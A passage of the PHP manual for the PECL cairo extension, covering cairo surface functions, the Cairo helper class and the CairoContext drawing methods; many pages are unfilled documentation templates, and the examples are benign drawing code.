When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_finish() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_create_similar
cairo_surface_flush
Cairo Functions


cairo_surface_finish
cairo_surface_get_content
Cairo Functions
PHP Manual

cairo_surface_flush

(PECL cairo >= 0.1.0)

cairo_surface_flush — Description

Description

void cairo_surface_flush ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_flush() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_finish
cairo_surface_get_content
Cairo Functions


cairo_surface_flush
cairo_surface_get_device_offset
Cairo Functions
PHP Manual

cairo_surface_get_content

(PECL cairo >= 0.1.0)

cairo_surface_get_content — Description

Description

int cairo_surface_get_content ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_get_content() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_flush
cairo_surface_get_device_offset
Cairo Functions


cairo_surface_get_content
cairo_surface_get_font_options
Cairo Functions
PHP Manual

cairo_surface_get_device_offset

(PECL cairo >= 0.1.0)

cairo_surface_get_device_offset — Description

Description

array cairo_surface_get_device_offset ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_get_device_offset() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_get_content
cairo_surface_get_font_options
Cairo Functions


cairo_surface_get_device_offset
cairo_surface_get_type
Cairo Functions
PHP Manual

cairo_surface_get_font_options

(PECL cairo >= 0.1.0)

cairo_surface_get_font_options — Description

Description

CairoFontOptions cairo_surface_get_font_options ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_get_font_options() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_get_device_offset
cairo_surface_get_type
Cairo Functions


cairo_surface_get_font_options
cairo_surface_mark_dirty_rectangle
Cairo Functions
PHP Manual

cairo_surface_get_type

(PECL cairo >= 0.1.0)

cairo_surface_get_type — Description

Description

int cairo_surface_get_type ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_get_type() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_get_font_options
cairo_surface_mark_dirty_rectangle
Cairo Functions


cairo_surface_get_type
cairo_surface_mark_dirty
Cairo Functions
PHP Manual

cairo_surface_mark_dirty_rectangle

(PECL cairo >= 0.1.0)

cairo_surface_mark_dirty_rectangle — Description

Description

void cairo_surface_mark_dirty_rectangle ( CairoSurface $surface , float $x , float $y , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

x

Description...

y

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_mark_dirty_rectangle() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_get_type
cairo_surface_mark_dirty
Cairo Functions


cairo_surface_mark_dirty_rectangle
cairo_surface_set_device_offset
Cairo Functions
PHP Manual

cairo_surface_mark_dirty

(PECL cairo >= 0.1.0)

cairo_surface_mark_dirty — Description

Description

void cairo_surface_mark_dirty ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_mark_dirty() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_mark_dirty_rectangle
cairo_surface_set_device_offset
Cairo Functions


cairo_surface_mark_dirty
cairo_surface_set_fallback_resolution
Cairo Functions
PHP Manual

cairo_surface_set_device_offset

(PECL cairo >= 0.1.0)

cairo_surface_set_device_offset — Description

Description

void cairo_surface_set_device_offset ( CairoSurface $surface , float $x , float $y )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

x

Description...

y

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_set_device_offset() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_mark_dirty
cairo_surface_set_fallback_resolution
Cairo Functions


cairo_surface_set_device_offset
cairo_surface_show_page
Cairo Functions
PHP Manual

cairo_surface_set_fallback_resolution

(PECL cairo >= 0.1.0)

cairo_surface_set_fallback_resolution — Description

Description

void cairo_surface_set_fallback_resolution ( CairoSurface $surface , float $x , float $y )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

x

Description...

y

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_set_fallback_resolution() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_set_device_offset
cairo_surface_show_page
Cairo Functions


cairo_surface_set_fallback_resolution
cairo_surface_status
Cairo Functions
PHP Manual

cairo_surface_show_page

(PECL cairo >= 0.1.0)

cairo_surface_show_page — Description

Description

void cairo_surface_show_page ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_show_page() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_set_fallback_resolution
cairo_surface_status
Cairo Functions


cairo_surface_show_page
cairo_surface_write_to_png
Cairo Functions
PHP Manual

cairo_surface_status

(PECL cairo >= 0.1.0)

cairo_surface_status — Description

Description

int cairo_surface_status ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_show_page
cairo_surface_write_to_png
Cairo Functions


cairo_surface_status
cairo_svg_surface_create
Cairo Functions
PHP Manual

cairo_surface_write_to_png

(PECL cairo >= 0.1.0)

cairo_surface_write_to_png — Description

Description

void cairo_surface_write_to_png ( CairoSurface $surface , resource $stream )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

stream

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_surface_write_to_png() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_status
cairo_svg_surface_create
Cairo Functions


cairo_surface_write_to_png
cairo_svg_surface_restrict_to_version
Cairo Functions
PHP Manual

cairo_svg_surface_create

(PECL cairo >= 0.1.0)

cairo_svg_surface_create — Description

Description

CairoSvgSurface cairo_svg_surface_create ( string $file , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_svg_surface_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_surface_write_to_png
cairo_svg_surface_restrict_to_version
Cairo Functions


cairo_svg_surface_create
cairo_svg_version_to_string
Cairo Functions
PHP Manual

cairo_svg_surface_restrict_to_version

(PECL cairo >= 0.1.0)

cairo_svg_surface_restrict_to_version — Description

Description

void cairo_svg_surface_restrict_to_version ( CairoSvgSurface $surface , int $version )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

version

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_svg_surface_restrict_to_version() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_svg_surface_create
cairo_svg_version_to_string
Cairo Functions


cairo_svg_surface_restrict_to_version
Cairo
Cairo Functions
PHP Manual

cairo_svg_version_to_string

(PECL cairo >= 0.1.0)

cairo_svg_version_to_string — Description

Description

string cairo_svg_version_to_string ( int $version )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

version

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_svg_version_to_string() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.
cairo_svg_surface_restrict_to_version
Cairo
Cairo Functions


The Cairo class

(No version information available, might only be in SVN)

Introduction

Simple class with some static helper methods.

Class synopsis

Cairo {
/* Methods */
public static array availableFonts ( void )
public static array availableSurfaces ( void )
public static string statusToString ( int $status )
public static int version ( void )
public static string versionString ( void )
}

Table of Contents

  • Cairo::availableFonts — Retrieves the availables font types
  • Cairo::availableSurfaces — Retrieves all available surfaces
  • Cairo::statusToString — Retrieves the current status as string
  • Cairo::version — Retrives cairo's library version
  • Cairo::versionString — Retrieves cairo version as string

User Contributed Notes

There are no user contributed notes for this page.
cairo_svg_version_to_string
Cairo::availableFonts
Cairo


Retrieves the availables font types

Cairo
Cairo::availableSurfaces
Cairo
PHP Manual

Cairo::availableFonts

cairo_available_fonts

(PECL cairo >= 0.1.0)

Cairo::availableFonts -- cairo_available_fonts — Retrieves the availables font types

Description

Object oriented style:

public static array Cairo::availableFonts ( void )

Procedural style:

array cairo_available_fonts ( void )

Returns an array with the available font backends

Parameters

This function has no parameters.

Return Values

A list-type array with all available font backends.

Examples

Example #1 Object oriented style

<?php

/* Object Oriented Style */
var_dump(Cairo::availableFonts());

?>

The above example will output something similar to:

array(2) {
  [0]=>
  string(5) "WIN32"
  [1]=>
  string(4) "USER"
}

Example #2 Procedural style

<?php

/* Procedural style */
var_dump(cairo_available_fonts());

?>

The above example will output something similar to:

array(2) {
  [0]=>
  string(5) "WIN32"
  [1]=>
  string(4) "USER"
}

See Also

  • Cairo::availableSurfaces() - Retrieves all available surfaces

User Contributed Notes

There are no user contributed notes for this page.
Cairo
Cairo::availableSurfaces
Cairo


Retrieves all available surfaces

Cairo::availableFonts
Cairo::statusToString
Cairo
PHP Manual

Cairo::availableSurfaces

cairo_available_surfaces

(PECL cairo >= 0.1.0)

Cairo::availableSurfaces -- cairo_available_surfaces — Retrieves all available surfaces

Description

Object oriented style (method):

public static array Cairo::availableSurfaces ( void )

Procedural style:

array cairo_available_surfaces ( void )

Returns an array with the available surface backends

Parameters

This function has no parameters.

Return Values

A list-type array with all available surface backends.

Examples

Example #1 Object oriented style

<?php

/* Object Oriented style */
var_dump(Cairo::availableSurfaces());

?>

The above example will output something similar to:

array(6) {
  [0]=>
  string(5) "IMAGE"
  [1]=>
  string(3) "PNG"
  [2]=>
  string(3) "PDF"
  [3]=>
  string(2) "PS"
  [4]=>
  string(3) "SVG"
  [5]=>
  string(5) "WIN32"
}

Example #2 Procedural style

<?php

/* Procedural style */
var_dump(cairo_available_surfaces());

?>

The above example will output something similar to:

array(6) {
  [0]=>
  string(5) "IMAGE"
  [1]=>
  string(3) "PNG"
  [2]=>
  string(3) "PDF"
  [3]=>
  string(2) "PS"
  [4]=>
  string(3) "SVG"
  [5]=>
  string(5) "WIN32"
}

See Also

  • Cairo::availableFonts() - Retrieves the availables font types

User Contributed Notes

There are no user contributed notes for this page.
Cairo::availableFonts
Cairo::statusToString
Cairo


Retrieves the current status as string

Cairo::availableSurfaces
Cairo::version
Cairo
PHP Manual

Cairo::statusToString

cairo_status_to_string

(PECL cairo >= 0.1.0)

Cairo::statusToString -- cairo_status_to_string — Retrieves the current status as string

Description

Object oriented style (method):

public static string Cairo::statusToString ( int $status )

Procedural style:

string cairo_status_to_string ( int $status )

Retrieves the current status as a readable string

Parameters

status

A valid status code given by cairo_status() or CairoContext::status()

Return Values

A string containing the current status of a CairoContext object

Examples

Example #1 Object oriented style

<?php
$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);
$context = new CairoContext($surface);

var_dump(Cairo::statusToString($context->status()));
?>

The above example will output something similar to:

string(7) "success"

Example #2 Procedural style

<?php
$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);
$context = cairo_create($surface);

var_dump(cairo_status_to_string(cairo_status($context)));
?>

The above example will output something similar to:

string(7) "success"

See Also

  • CairoContext::status() - The status purpose

User Contributed Notes

There are no user contributed notes for this page.
Cairo::availableSurfaces
Cairo::version
Cairo


Retrives cairo's library version

Cairo::statusToString
Cairo::versionString
Cairo
PHP Manual

Cairo::version

cairo_version

(PECL cairo >= 0.1.0)

Cairo::version -- cairo_version — Retrives cairo's library version

Description

Object oriented style (method):

public static int Cairo::version ( void )

Procedural style:

int cairo_version ( void )

Retrieves the current version of the cairo library as an integer value

Parameters

This function has no parameters.

Return Values

Current Cairo library version integer

Examples

Example #1 Object oriented style

<?php
var_dump(Cairo::version());
?>

The above example will output something similar to:

int(10808)

Example #2 Procedural style

<?php
var_dump(cairo_version());
?>

The above example will output something similar to:

int(10808)

See Also

  • Cairo::versionString() - Retrieves cairo version as string

User Contributed Notes

There are no user contributed notes for this page.
Cairo::statusToString
Cairo::versionString
Cairo


Retrieves cairo version as string

Cairo::version
CairoContext
Cairo
PHP Manual

Cairo::versionString

cairo_version_string

(PECL cairo >= 0.1.0)

Cairo::versionString -- cairo_version_string — Retrieves cairo version as string

Description

Object oriented style (method):

public static string Cairo::versionString ( void )

Procedural style:

string cairo_version_string ( void )

Retrieves the current cairo library version as a string.

Parameters

This function has no parameters.

Return Values

Current Cairo library version string

Examples

Example #1 Object oriented style

<?php

var_dump(Cairo::versionString());

?>

The above example will output something similar to:

string(5) "1.8.8"

Example #2 Procedural style

<?php

var_dump(cairo_version_string());

?>

The above example will output something similar to:

string(5) "1.8.8"

See Also

  • Cairo::version() - Retrives cairo's library version

User Contributed Notes

There are no user contributed notes for this page.
Cairo::version
CairoContext
Cairo


The CairoContext class

(No version information available, might only be in SVN)

Introduction

Context is the main object used when drawing with cairo. To draw with cairo, you create a CairoContext, set the target CairoSurface, and drawing options for the CairoContext, create shapes with functions . like CairoContext::moveTo() and CairoContext::lineTo(), and then draw shapes with CairoContext::stroke() or CairoContext::fill(). Contexts can be pushed to a stack via CairoContext::save(). They may then safely be changed, without loosing the current state. Use CairoContext::restore() to restore to the saved state.

Class synopsis

CairoContext {
/* Methods */
public void appendPath ( CairoPath $path )
public void arc ( float $x , float $y , float $radius , float $angle1 , float $angle2 )
public void arcNegative ( float $x , float $y , float $radius , float $angle1 , float $angle2 )
public void clip ( void )
public array clipExtents ( void )
public void clipPreserve ( void )
public array clipRectangleList ( void )
public void closePath ( void )
public __construct ( CairoSurface $surface )
public void copyPage ( void )
public CairoPath copyPath ( void )
public CairoPath copyPathFlat ( void )
public void curveTo ( float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )
public array deviceToUser ( float $x , float $y )
public array deviceToUserDistance ( float $x , float $y )
public void fill ( void )
public array fillExtents ( void )
public void fillPreserve ( void )
public array fontExtents ( void )
public int getAntialias ( void )
public array getCurrentPoint ( void )
public array getDash ( void )
public int getDashCount ( void )
public int getFillRule ( void )
public void getFontFace ( void )
public void getFontMatrix ( void )
public void getFontOptions ( void )
public void getGroupTarget ( void )
public int getLineCap ( void )
public int getLineJoin ( void )
public float getLineWidth ( void )
public void getMatrix ( void )
public float getMiterLimit ( void )
public int getOperator ( void )
public void getScaledFont ( void )
public void getSource ( void )
public void getTarget ( void )
public float getTolerance ( void )
public void glyphPath ( array $glyphs )
public bool hasCurrentPoint ( void )
public void identityMatrix ( void )
public bool inFill ( string $x , string $y )
public bool inStroke ( string $x , string $y )
public void lineTo ( string $x , string $y )
public void mask ( string $pattern )
public void maskSurface ( string $surface [, string $x [, string $y ]] )
public void moveTo ( string $x , string $y )
public void newPath ( void )
public void newSubPath ( void )
public void paint ( void )
public void paintWithAlpha ( string $alpha )
public array pathExtents ( void )
public void popGroup ( void )
public void popGroupToSource ( void )
public void pushGroup ( void )
public void pushGroupWithContent ( string $content )
public void rectangle ( string $x , string $y , string $width , string $height )
public void relCurveTo ( string $x1 , string $y1 , string $x2 , string $y2 , string $x3 , string $y3 )
public void relLineTo ( string $x , string $y )
public void relMoveTo ( string $x , string $y )
public void resetClip ( void )
public void restore ( void )
public void rotate ( string $angle )
public void save ( void )
public void scale ( string $x , string $y )
public void selectFontFace ( string $family [, string $slant [, string $weight ]] )
public void setAntialias ([ string $antialias ] )
public void setDash ( string $dashes [, string $offset ] )
public void setFillRule ( string $setting )
public void setFontFace ( CairoFontFace $fontface )
public void setFontMatrix ( string $matrix )
public void setFontOptions ( string $fontoptions )
public void setFontSize ( string $size )
public void setLineCap ( string $setting )
public void setLineJoin ( string $setting )
public void setLineWidth ( string $width )
public void setMatrix ( string $matrix )
public void setMiterLimit ( string $limit )
public void setOperator ( string $setting )
public void setScaledFont ( string $scaledfont )
public void setSource ( string $pattern )
public void setSourceRGB ( string $red , string $green , string $blue )
public void setSourceRGBA ( string $red , string $green , string $blue , string $alpha )
public void setSourceSurface ( string $surface [, string $x [, string $y ]] )
public void setTolerance ( string $tolerance )
public void showPage ( void )
public void showText ( string $text )
public int status ( void )
public void stroke ( void )
public array strokeExtents ( void )
public void strokePreserve ( void )
public array textExtents ( string $text )
public void textPath ( string $string )
public void transform ( string $matrix )
public void translate ( string $x , string $y )
public array userToDevice ( string $x , string $y )
public array userToDeviceDistance ( string $x , string $y )
}

Table of Contents

  • CairoContext::appendPath — Appends a path to current path
  • CairoContext::arc — Adds a circular arc
  • CairoContext::arcNegative — Adds a negative arc
  • CairoContext::clip — Establishes a new clip region
  • CairoContext::clipExtents — Computes the area inside the current clip
  • CairoContext::clipPreserve — Establishes a new clip region from the current clip
  • CairoContext::clipRectangleList — Retrieves the current clip as a list of rectangles
  • CairoContext::closePath — Closes the current path
  • CairoContext::__construct — Creates a new CairoContext
  • CairoContext::copyPage — Emits the current page
  • CairoContext::copyPath — Creates a copy of the current path
  • CairoContext::copyPathFlat — Gets a flattened copy of the current path
  • CairoContext::curveTo — Adds a curve
  • CairoContext::deviceToUser — Transform a coordinate
  • CairoContext::deviceToUserDistance — Transform a distance
  • CairoContext::fill — Fills the current path
  • CairoContext::fillExtents — Computes the filled area
  • CairoContext::fillPreserve — Fills and preserve the current path
  • CairoContext::fontExtents — Get the font extents
  • CairoContext::getAntialias — Retrives the current antialias mode
  • CairoContext::getCurrentPoint — The getCurrentPoint purpose
  • CairoContext::getDash — The getDash purpose
  • CairoContext::getDashCount — The getDashCount purpose
  • CairoContext::getFillRule — The getFillRule purpose
  • CairoContext::getFontFace — The getFontFace purpose
  • CairoContext::getFontMatrix — The getFontMatrix purpose
  • CairoContext::getFontOptions — The getFontOptions purpose
  • CairoContext::getGroupTarget — The getGroupTarget purpose
  • CairoContext::getLineCap — The getLineCap purpose
  • CairoContext::getLineJoin — The getLineJoin purpose
  • CairoContext::getLineWidth — The getLineWidth purpose
  • CairoContext::getMatrix — The getMatrix purpose
  • CairoContext::getMiterLimit — The getMiterLimit purpose
  • CairoContext::getOperator — The getOperator purpose
  • CairoContext::getScaledFont — The getScaledFont purpose
  • CairoContext::getSource — The getSource purpose
  • CairoContext::getTarget — The getTarget purpose
  • CairoContext::getTolerance — The getTolerance purpose
  • CairoContext::glyphPath — The glyphPath purpose
  • CairoContext::hasCurrentPoint — The hasCurrentPoint purpose
  • CairoContext::identityMatrix — The identityMatrix purpose
  • CairoContext::inFill — The inFill purpose
  • CairoContext::inStroke — The inStroke purpose
  • CairoContext::lineTo — The lineTo purpose
  • CairoContext::mask — The mask purpose
  • CairoContext::maskSurface — The maskSurface purpose
  • CairoContext::moveTo — The moveTo purpose
  • CairoContext::newPath — The newPath purpose
  • CairoContext::newSubPath — The newSubPath purpose
  • CairoContext::paint — The paint purpose
  • CairoContext::paintWithAlpha — The paintWithAlpha purpose
  • CairoContext::pathExtents — The pathExtents purpose
  • CairoContext::popGroup — The popGroup purpose
  • CairoContext::popGroupToSource — The popGroupToSource purpose
  • CairoContext::pushGroup — The pushGroup purpose
  • CairoContext::pushGroupWithContent — The pushGroupWithContent purpose
  • CairoContext::rectangle — The rectangle purpose
  • CairoContext::relCurveTo — The relCurveTo purpose
  • CairoContext::relLineTo — The relLineTo purpose
  • CairoContext::relMoveTo — The relMoveTo purpose
  • CairoContext::resetClip — The resetClip purpose
  • CairoContext::restore — The restore purpose
  • CairoContext::rotate — The rotate purpose
  • CairoContext::save — The save purpose
  • CairoContext::scale — The scale purpose
  • CairoContext::selectFontFace — The selectFontFace purpose
  • CairoContext::setAntialias — The setAntialias purpose
  • CairoContext::setDash — The setDash purpose
  • CairoContext::setFillRule — The setFillRule purpose
  • CairoContext::setFontFace — The setFontFace purpose
  • CairoContext::setFontMatrix — The setFontMatrix purpose
  • CairoContext::setFontOptions — The setFontOptions purpose
  • CairoContext::setFontSize — The setFontSize purpose
  • CairoContext::setLineCap — The setLineCap purpose
  • CairoContext::setLineJoin — The setLineJoin purpose
  • CairoContext::setLineWidth — The setLineWidth purpose
  • CairoContext::setMatrix — The setMatrix purpose
  • CairoContext::setMiterLimit — The setMiterLimit purpose
  • CairoContext::setOperator — The setOperator purpose
  • CairoContext::setScaledFont — The setScaledFont purpose
  • CairoContext::setSource — The setSource purpose
  • CairoContext::setSourceRGB — The setSourceRGB purpose
  • CairoContext::setSourceRGBA — The setSourceRGBA purpose
  • CairoContext::setSourceSurface — The setSourceSurface purpose
  • CairoContext::setTolerance — The setTolerance purpose
  • CairoContext::showPage — The showPage purpose
  • CairoContext::showText — The showText purpose
  • CairoContext::status — The status purpose
  • CairoContext::stroke — The stroke purpose
  • CairoContext::strokeExtents — The strokeExtents purpose
  • CairoContext::strokePreserve — The strokePreserve purpose
  • CairoContext::textExtents — The textExtents purpose
  • CairoContext::textPath — The textPath purpose
  • CairoContext::transform — The transform purpose
  • CairoContext::translate — The translate purpose
  • CairoContext::userToDevice — The userToDevice purpose
  • CairoContext::userToDeviceDistance — The userToDeviceDistance purpose

User Contributed Notes

There are no user contributed notes for this page.
Cairo::versionString
CairoContext::appendPath
Cairo


Appends a path to current path

CairoContext
CairoContext::arc
CairoContext
PHP Manual

CairoContext::appendPath

cairo_append_path

(PECL cairo >= 0.1.0)

CairoContext::appendPath -- cairo_append_path — Appends a path to current path

Description

Object oriented style (method):

public void CairoContext::appendPath ( CairoPath $path )

Procedural style:

void cairo_append_path ( CairoContext $context , CairoPath $path )

Appends the path onto the current path. The path may be either the return value from one of CairoContext::copyPath() or CairoContext::copyPathFlat();

if path is not a valid CairoPath instance a CairoException will be thrown

Parameters

context

CairoContext object

path

CairoPath object

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$path = $context->copyPath();

$context->appendPath($path);

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

$path = cairo_copy_path($context);

cairo_append_path($context, $path);

?>

See Also

  • CairoPath
  • CairoContext::copyPath() - Creates a copy of the current path
  • CairoContext::copyPathFlat() - Gets a flattened copy of the current path

User Contributed Notes

There are no user contributed notes for this page.
CairoContext
CairoContext::arc
CairoContext


Adds a circular arc

CairoContext::appendPath
CairoContext::arcNegative
CairoContext
PHP Manual

CairoContext::arc

cairo_arc

(PECL cairo >= 0.1.0)

CairoContext::arc -- cairo_arc — Adds a circular arc

Description

Object oriented style (method):

public void CairoContext::arc ( float $x , float $y , float $radius , float $angle1 , float $angle2 )

Procedural style:

void cairo_arc ( CairoContext $context , float $x , float $y , float $radius , float $angle1 , float $angle2 )

Adds a circular arc of the given radius to the current path. The arc is centered at (x, y), begins at angle1 and proceeds in the direction of increasing angles to end at angle2. If angle2 is less than angle1 it will be progressively increased by 2*M_PI until it is greater than angle1. If there is a current point, an initial line segment will be added to the path to connect the current point to the beginning of the arc. If this initial line is undesired, it can be avoided by calling CairoContext::newSubPath() or procedural cairo_new_sub_path() before calling CairoContext::arc() or cairo_arc(). Angles are measured in radians. An angle of 0.0 is in the direction of the positive X axis (in user space). An angle of M_PI/2.0 radians (90 degrees) is in the direction of the positive Y axis (in user space). Angles increase in the direction from the positive X axis toward the positive Y axis. So with the default transformation matrix, angles increase in a clockwise direction. (To convert from degrees to radians, use degrees * (M_PI / 180.).) This function gives the arc in the direction of increasing angles; see CairoContext::arcNegative() or cairo_arc_negative() to get the arc in the direction of decreasing angles.

Parameters

context

A valid CairoContext object

x

x position

y

y position

radius

Radius of the arc

angle1

start angle

angle2

end angle

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);
$c->paint();

$c->setLineWidth(1);
$c->setSourceRgb(1, 1, 1);

for ($r = 50; $r > 0; $r -= 10) {
 $c->arc(50, 50, $r, 0, 2 * M_PI);
 $c->stroke();
 $c->fill();
}

$s->writeToPng(dirname(__FILE__) . '/CairoContext__arc.png');
?>

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);
cairo_paint($c);

cairo_set_source_rgb($c, 1, 1, 1);
cairo_set_line_width($c, 1);

for ($r = 50; $r > 0; $r -= 10) {
 cairo_arc($c, 50, 50, $r, 0, 2 * M_PI);
 cairo_stroke($c);
 cairo_fill($c);
}

cairo_surface_write_to_png($s, dirname(__FILE__) . '/cairo_arc.png');
?>

See Also

  • CairoContext::arcNegative() - Adds a negative arc

User Contributed Notes

There are no user contributed notes for this page.
CairoContext::appendPath
CairoContext::arcNegative
CairoContext


Adds a negative arc

CairoContext::arc
CairoContext::clip
CairoContext
PHP Manual

CairoContext::arcNegative

cairo_arc_negative

(PECL cairo >= 0.1.0)

CairoContext::arcNegative -- cairo_arc_negative — Adds a negative arc

Description

Object oriented style (method):

public void CairoContext::arcNegative ( float $x , float $y , float $radius , float $angle1 , float $angle2 )

Procedural style:

void cairo_arc_negative ( CairoContext $context , float $x , float $y , float $radius , float $angle1 , float $angle2 )

Adds a circular arc of the given radius to the current path. The arc is centered at (x, y), begins at angle1 and proceeds in the direction of decreasing angles to end at angle2. If angle2 is greater than angle1 it will be progressively decreased by 2*M_PI until it is less than angle1. See CairoContext::arc() or cairo_arc() for more details. This function differs only in the direction of the arc between the two angles.

Parameters

context

A valid CairoContext object

x

double x position

y

double y position

radius

The radius of the desired negative arc

angle1

Start angle of the arc

angle2

End angle of the arc

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);
$c->paint();

$c->setLineWidth(1);
$c->setSourceRgb(1, 1, 1);

for ($r = 50; $r > 0; $r -= 10) {
 $c->arcNegative(50, 50, $r, 2 * M_PI, 0);
 $c->stroke();
 $c->fill();
}

